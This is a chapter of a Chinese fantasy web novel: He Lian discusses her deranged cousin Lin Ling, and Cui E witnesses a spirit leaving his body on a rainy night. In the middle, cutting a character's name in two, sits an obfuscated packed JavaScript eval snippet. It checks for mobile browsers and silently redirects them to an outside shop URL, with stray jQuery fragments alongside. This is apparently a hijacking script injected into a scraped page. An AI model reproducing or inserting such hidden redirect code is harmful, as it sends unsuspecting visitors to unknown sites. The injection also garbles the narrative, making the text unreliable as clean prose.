窗外的雨声不知何时变得绵密起来,淅淅沥沥地敲在瓦檐上。
秋雪斋被衬得一片寂静。
贺涟倚在廊下,指尖拈着糕屑,漫不经心地喂着肩头的鹦鹉。阿岚静立在她身后半步,面无表情地望着檐外的雨帘。
“他是我表弟,不是我爹。”贺涟忽然开口,声音里淬着冰,“他要死,便死去。难不成还要我披麻戴孝,哭天抢地,替他演一出姐弟情深?”
阿岚侧过脸:“哦。那便不必理会了。”
贺涟喂食的动作顿了顿。指尖悬在鹦鹉喙边,良久,她忽地嗤笑一声。
“不。”她收回手,用帕子慢条斯理地擦着指尖,眼神却冷了下去,“还是得看着点。”
“看看他是不是装的,”她抬起眼,目光穿过雨幕,不知落向何处,“是真疯了,还是借疯避祸……总得瞧个分明,才好放心。”
“才好放心。”鹦鹉尖声学舌。
贺涟没理会,将它拢到手上,转身往内室走去。
珠帘被她撩起,碰撞出细碎的清响。
“我昨日去看时,他昏迷着,”阿岚跟上,在她身后半步问道,“要……设法让他清醒些么?”
“如今的林泠,阴晴难测,逼急了反生事端。”贺涟的声音从帘后传来,“你忘了?上回南康王派人刺杀,起因不就是他故意寻了个江湖骗子,扮作得道高人,哄得他那一母同胞的亲哥哥吃了好大一个暗亏?”
她已走进内室,将鹦鹉放到地上,声音平淡地补完:“损兵折将不说,里子面子都丢尽了。”
“南康王那人,何曾真正放过谁?你道他这般容不下亲兄弟,只是为这一次?”她语意微顿,想到了一些极其不愉快的事,“当年,他不就是这般步步设计,将那位……逼到绝处,最后不得不‘以死明志’么。”
“以死明志?”
贺涟径自在铺着软垫的席上随意坐下,伸手拢向炉火,跳跃的火光映亮她没什么表情的脸。
“忘了你那时候不在府上了。那时候,闹得很难看,差点连我,也要‘自愿’去明一明这志了。”
贺涟“唔”了一声,云淡风轻地道:“彼时父亲也上了请罪的折子,说要‘明志’。不过,我和父亲骨子里大概都缺了点‘刚烈’。不想死的念头,终究压过了那点虚名。最后,竟也都……没死成。”
她停下,不再多言。三言两语,已是她能给予这段过往的全部。
“所以继续看着吧。”贺涟用火钳轻轻拨了拨炉中的炭块,拍了拍身旁的软垫。
阿岚依言坐下,目光落在跳跃的火苗上,沉默片刻后开口:“那位……当初为何非得走到‘以死明志’这一步?”
“我怎知。大概……是书读得太好,学儒学术学傻了罢。‘君要臣死’,‘士节不可辱’……套进去,不就只剩下那条路了?”
她将火钳搁在一旁,拢了拢衣袖,“说起来,林泠没发疯以前,不也一样跟着那些大儒读圣贤书,满口仁义礼信?”
贺涟静了片刻,“明日,你再代我去趟客栈,见见崔峨与黎秋。”
阿岚抬眼,无声询问。
“问问她们在那边安置得如何,也顺道……听听那些仙人的口风。”贺涟看着不知何时过来的鹦鹉,把它拢手心里,“林泠遇刺这事,掺了精怪之说,听着荒唐。”
“仙盟既已插手,总该有个说法。新任郡守来得快,可这些神神鬼鬼的线索,官府未必查得清。”
她沉吟着:“林泠当年在宫里……是吃过些‘药’的。如今这般疯癫,未必与那东西无关。精怪?哼。”
她不信什么精怪作祟,更疑心皇室秘药与兄弟阋墙才是根源。
“明白了。”阿岚简短应着。
炭火燃烧得愈发旺,噼啪间作响。
“彼泽之陂,有蒲与荷。有美一人,伤如之何?寤寐无为,涕泗滂沱。”①
崔峨在混沌中蹙起眉。谁在深更半夜吟诵《诗经》?
真是扰人清梦。
好像还是从后院传来的。
她终是耐不住,掀开薄被起身,悄步来到窗边,将面向后院的支摘窗轻轻推开一道缝隙。
崔峨蹙眉,侧耳细听着。
“彼泽之陂,有蒲菡萏。有美一人,硕大且俨。寤寐无为,辗转伏枕。”
吟唱声更加真切了,正是从下方后院传来。没有灯火,唯有那吟唱声在空寂的雨夜中回荡,诡异非常。
鬼使神差地,一股强烈的意愿驱使她想去看看。
杂草丛生,地面湿滑,中央一眼古井石栏斑驳,比白日匆匆一瞥时更为荒僻阴森。
而就在井旁那株叶子近乎落尽的巨大古槐下,一个人影背对着她,静静伫立。
对方身形颀长,墨发迤逦垂落至腰际,在夜风细雨中微微拂动,仅仅是背影,便透着一股浓重的死寂与……非人感。
那身影似有所感,缓缓地转了过来。
廊柱后的崔峨,对上了一张苍白却依旧能辨出惊人漂亮轮廓的脸。
安阳郡王林泠。
或者说,操控着这具躯壳的存在。他漂亮的脸上,僵硬的笑容咧开,露出森白的牙齿。
没有言语,下一瞬,那身影已如鬼魅般飘然而至。
苍白的手直直向崔峨的脖颈扼来,崔峨呼吸一窒,本能地向后急退,可避不开了。
骤然间,郑彤为她系上的“固魂绦”迸发出一团淡金色光晕。光晕如同一个小小的罩子,瞬间将崔峨的头颈护住。
“嗤——!”
操控林泠躯壳的东西发出一声短促而非人的尖啸,那声音却闷在喉咙里,像是林泠自己在痛苦呻吟,手如触电般弹开,掌心竟冒起几缕细微的黑烟。
郑彤给的这东西,竟真有护持之效。
然而,那附身的精怪显然被彻底激怒。
林泠的躯体猛然剧烈抽搐起来,脸上那僵硬的诡异笑容瞬间破碎,被极致的痛苦取代。
崔峨看见,一团墨绿色的虚影,如同挣扎的藤蔓或扭曲的人形,正艰难地从林泠的背心、头顶试图脱离,却又被某种无形之力牵扯着。
“不……不……”林泠本虚弱不堪的声音,断断续续地挤出喉咙。
终于,那虚影发出一声无声的尖啸,彻底挣脱,如烟似雾地消散在雨夜之中,消失不见。
失去了支撑的林泠,直直砸在湿冷的青石板上,溅起一片水花。他脸朝下趴着,一动不动,暗色的血混着冰冷的雨水,在他身下无声地蔓延开来,像一朵诡异而凄惨的花。
崔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025146|194366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
峨双腿发软,背靠着廊柱滑坐在地,剧烈喘息。好一会儿,她才撑起身体,警惕地环顾漆黑沉寂的庭院,确定那精怪确实已遁走,才挪到林泠身边。
她伸出手,胡乱地把人翻过来,拨开他脸上被血水和雨水黏住的发,将头侧过来确认人有没有死。
然而,就在崔峨以为他可能已经……时,他的眼皮忽然极其微弱地颤动了几下。
然后,缓缓地,睁开了。
眸中一片空茫的混沌,仿佛目眩神摇,迟迟寻不到落点。
可当他的视线无意识地触及近在咫尺的崔峨,触及她脸上未褪的惊悸,以及……她发间带着暖意的微光时,那空茫的眼神似乎凝滞了一瞬。
而后,他眼珠极其缓慢地转动,投向漆黑冰冷的夜空。雨丝毫无怜惜地打在他苍白失血的脸上。
他的嘴唇翕动,“你是……何人?”
崔峨一怔,话却已下意识脱口而出:“张三。”
他仰躺在冰冷的石板上,雨水顺着他的下颌流淌,混着口鼻间尚未擦净的淡淡血痕,没入湿透的衣领。对于这个明显是胡诌的名字,他没有任何质疑,只是望着崔峨,那双漂亮眼眸里混沌未散,“没见……过你。”
他试图抬起手,手臂却只是痉挛般地抽动了一下,便无力地垂落回身侧,溅起细小水花,更多的血混着雨水从他唇角溢出:“宫变……失败了……为何……还会有人……在我的居所……”
崔峨想,或许他现在记忆混乱,是将此刻的处境与多年前他目睹的宫变混淆了。
“……宫变,不,”她靠近了些,想让人清醒一点,“那已经是过去了。很久以前的事了。”
雨水打在他的眼睫上,又滑落,像泪。
“……是么……”他闭上眼,再睁开时,试探性地握住了崔峨方才下意识伸出的手。
“可否……扶我离开这里……”
“不……不要惊动别人……我……”他艰难地吞咽了一下,声音低不可闻,“……请不要让别人……发现我这样。”
她沉默不语。
这种情况下把人拉回去,显得自己恨可疑哎,而且说不定有人在找他,再说了,他怎么会在这里,一直在客栈里养伤吗?
风险有点太高了。可就这么扔下他,风险似乎也不低。
万一他死在这儿,第一个发现现场的人会不会被牵连?万一他醒了,记起这个“张三”见死不救……
“你先回答我,”崔峨没去扶他,反而蹲下身,“你怎么会在这儿?谁伤的你?说清楚。”
“……不知道……醒过来……就在雨里……有东西……在脑子里叫……”他断断续续,“……别让他们……找到我……皇兄……皇兄会……”
有血从口鼻淌出,他剧烈地喘息着,没了动静。
不能留他在这儿。
得把他弄走,至少……不能死在我眼前。
崔峨揪住他后颈的衣领和一把湿透的头发,像拖一口破麻袋似的,将他往最近的那处廊柱阴影里拽。
主要是这么拽使得上力气。
“呃……”林泠闷哼一声,在崔峨再次发力时,他竟然用胳膊肘撑了一下地面,借着那点微弱的力道,自己踉跄着爬进了廊道旁那扇虚掩着的空房门内。